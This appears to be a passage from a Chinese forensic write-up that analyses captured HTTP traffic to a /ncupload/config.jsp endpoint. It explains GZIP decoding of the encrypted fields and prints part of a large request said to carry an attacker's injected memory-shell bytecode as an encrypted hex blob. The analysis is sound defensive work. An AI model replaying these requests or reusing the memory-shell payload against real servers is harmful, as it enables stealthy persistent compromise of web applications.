POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 290Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 272{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8Content-Length: 4154Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close

{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmk/KaMTMe/9tSkD5RB5ag5p9pD5JKGkHxBDVy//HNVnSvrG5gHWuuSqWj5BTjQ9aE
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5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}

2.1.7 GZIP编解码

内存马配合http头，改变了传输的加密格式

我们在传递的时候，查看他解码的数据，发现，均携带1F8B08000000

1F8B0800000000000000CB4D2DC9C84FF14BCC4D65E2656060484F2D714A2CCE4C2EF6CC4BCB2F4E2D2ECECCCFF34C6112044A6546E6571519F8B8F85526A717A454394602006D9268393B0000001F8B0800000000000000CB4D2DC9C84FF14BCC4D656261606028492D2E0100F839225013000000

百度查询之后，发现是GZIP压缩，为什么会产生GZIP压缩呢？根据之前的代码传递均为字节码

我们加入GZIP解码，发现流量均迎刃而解

26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e
解码6D6574686F644E616D65020400000074657374

我们可以在流量中发现奥秘，针对每个流量包进行分析，最终在一个比较大的流量包中，发现了正常的字节码，也就是攻击方导入的内存马

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* Content-Length: 47312{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"4185330a9e6684959ca14153ebb2bf603cb68867e08548f8a49d5740865db8ad7ee4c687803a94df9fbdc5e289c05860585ad7644d60f28b9f05ab580ba41389202a44761bb2f7df6ec8a9bce967a3ebca00ed48d5144b81c945a37c5eaa8faa83e6d382701b0fe53b03a15c426a3940ef08489117833793d6e843f9fa5969557f92cf2759672b3507e301fddba98d451858000bd0576a949d5bd618a4a506cf2c1d77c03160aeda6e15dea50598eb2ef6d85d1d62cb8695ee312930896e4718b3eaa2a93a9b40f445c1eeeeec7eca5213cba64fa87018b82c33f9121722d983637c0eb0ac7ed86cf908c92e672ecc6bbbc579fc3df2945257498bb318eb101ea2721d56c40b74296e2d40f27765c32e7143e01dc13d417bb31ad03448f60289af7c681114fea5b6081bcfdaa635e8d0ee1eaa84a39f14a061358f6ad0cc64f64b983f87c551ad7a74abd07de4cfe466ea645f6d293be7c0d0e7f8dec3a4dc2d04d860d0e1b9b6a74e3c8b3fa012345ba1c475e32dd8ec43f361b370366597cd0c573166e0b305eaed560a70bb20618e7b15286822c36bc5327ebc89bce03165b3ac5a7b7aa56422c240874fda6be6cb21e0d2feeeb6c9a341b46697bef5a8f0f5f314876eb6228de66526117558ec45e02df595efec10a56e12c06722bbecd29dfe761f79073c6a209fb89a3a4674b79e53db1d345e065fb58318973d6eefb8518b1d197577675e067dfb6e7ab44a72600cf761299d473752d14c1afd70ce0551f05860a3774a09dd3324815d364b9366e1e1e55b547be0c9f4f9b15c6c3883ee187431ffbb3a9b0d8c9b9977a1e3aece48cc8a21b43c032542f393ee7667f778b04dff823e70813589e06bdf9b4ff88309b59a8e738d88fdb23bf0f542e9e8b32bbd6b07971212b043d3740927a5204232f93046d66207a86e6ad964ff8e947c857e22ad0979dce02b0bde140fa2f49604fca48d3576b88e6691360089ad4c4fbf0ce969757447e1d616066bc75135fa59e27bde6629bb43fd4cecf3970d4989d4f0bda252ecede59b1f2ca4791d136fd7dbc7c2bdba8215d4bb4ffcc4533b1d7ebfb4d22e15baf8ba277c54080711c314adb921067aa7162d34ce9b7a37d5b94ee4ae9325aa2beeebd990da033ebeafc9b9b2195e350f90baeead72a8132f3970804a3e70fe1e24c15cf097f71351a736c6bd76155535f8529b297e84b04c3fe4b0ea4625f6875d00872ddec9a69f87aa53d3256a69d05d47cb37302d49dabe722a9e26d49d55814659c8fc2f5509c004b4b6e1789228076eac8fdd53dc8574bab22a4f60fe16d37c227475425e9a9fd02486fab5a36bbc3db447b38fe9f94d4ef7b3cc155f068e0c0d35e0ad763b921827674dbfde980c0766c3799a82202620b06bd8fe66d88a0833d061607d50bb0de9f0d10d3eb2e937f6bf9331a41fb2258a50cdae25c113593a6b91afb3cb42b37d3e8e02538350743690895661ec3be580931d70d250ebe3c2e0243730693b0b16b63beec3990970994b8e374e55d2f29db1fbf2d5ffc6a83e6b995ca33ad8cac2a879be0e7566c02f1d22a2a8a357a3580271f15e8f7182d158972019ad51533c777054d90c8e8a29dd026f77c01d5960c6bbe15aafd517abf1b7501a09da95f8796f2fd0247c3fbc4a8abb539e2acc5154ad741412cbcba03a33ced5d345669e10b90674bbd5497dccc829a9567df055e00408ca96cd8aacca4064917b1913279f67d25f61b357ba55b8ebfa2583bd500735f9bcab6d35868e2a9f2255818c9ec550a9ac50c3e397ccc2d9211954a2166d09de389bed191af913d40e2e7249cdcc24337060c80e643164484c3430bc8b1383c34bdc610833d8e2c048ea7c99605b8ec4581f286260b3221b2016547c07b54487315f4a026420f81e3e95b399c876f6d4f2a493f8e078421a52f3edd9dfe15afd278dee26cea6ead4ba96a89dc6ab9ffd8d374ecc4c7f517b2612d0ceef638344e3a4ae4906cc8e46d30e6f4edc6711d3cfb6841cca223164b739e12dd226454f6ed9574ada1d33631a5e7064300fe8a620155e79b7f6e11abd658bc30ed52361a5730c12a639b3ca29062efbaceb350953c927ffb57421fdb66b8bc30ed52361a5730c12a639b3ca2906307d1d39f630b0ce760e0ae2c5b60da262df4707e252171d3a7b328290a67c83b9f110070aee503b88ad2c465db94c7069795550cfb2aa200753f69702aa4a7055b024214ad5df4d5e60b457ccfac45ca5f529731ca37f3eb203191a65e0ebbe19a99d109496aa0f3521a75a3f69b8b91de7e2d46139a1154a0781ca89883ffd274f523c65cc463d6f1fc1b8269cba6fed697693513238ffbedff78af8bdd02848cb5aaf9c1cd67ba1acae9eafee634fd3a1fca43be86ad049b82283dcb46b5ecec0167a26980834ed0a6e7fc1a7137690911c14555c0e0318a5c9084b4b380a849fd4a5cca28c8cbef495417a6677893be580931d70d250ebe3c2e024373069be4de701e0c8b245a1ee8bae582809cc5b59e06be1031f1378f8a902a5e6b7ef1e4b9344b9271138d32af35918b869450d77ea7a3b4480332ccf428dd8ef5b7efd3c8ffef09fec06800ed6ca8749e47e8ddf007d5a115e238f436fa881e36868dde7b2691f8e7d927debe3f01b047670ec28ec8576bb55c889dcfb6c8e4e250785b8fa96108189540725d34d8905d1cd72bf098421422a43e1ef6969368c03f172aa1b03c9c7b8ae2d462e4e1e10b48e5ac305d5a70380b335d093426e9b51769e182790451ccdbf8a24d3474cbe577a0c4b672fb50f24562120e8233249bb749404532f168f31def0aebb8152d8330187fcfa686f1ca8562557047efe43dc542c1d77c03160aeda6e15dea50598eb2e42a74ebf8e543589ec0a6dfb47d436b6c00a31a4e23525fba26b6a9a8828c91adfc76a5446a367d265b723ab35432bd9ed1cdc5803373b871a82c92c3574d3468b3d6f4581a732e542e63042ffb009bb1cf33a6bec737fc5ecd91c59ca74e189990e94a515dd92829c66c0282b1296031bfa7cf9f0b4ce10f318dac38803ad4e5e37836c41314605dad0f100f48c540b001086a0e7daae03350e89a1d46d69c76b5a98fec61240a525ff6c483f7cc96cbd7e898ebab71c4a2e1c7a1aa6c89a7efdf55557dca7e663961f9e2502a8cdfe7922818d66b542f5f2e7a1d83331b40edb7f1de75061fe24b2067bd7a965bcd1f7c3e1d1a47f3e43ef6715cfa2bae6f0384ba1142cd6c9786e4a5061459a52d2b64edefbff37f5ce216448277dab4cf89569d5f351ded71e063c67898e40a2366b06c1d3dfd658485f71defddbd3d5b85e51aef04921ff80f030980669b13ccbd40316ec35e158d983cc37dd567fbd3a28a0c63ea7828cb0323d730aee68a0ec4005317a9b2146bfe0b682dd244e6267ddff1d227ce71fe677819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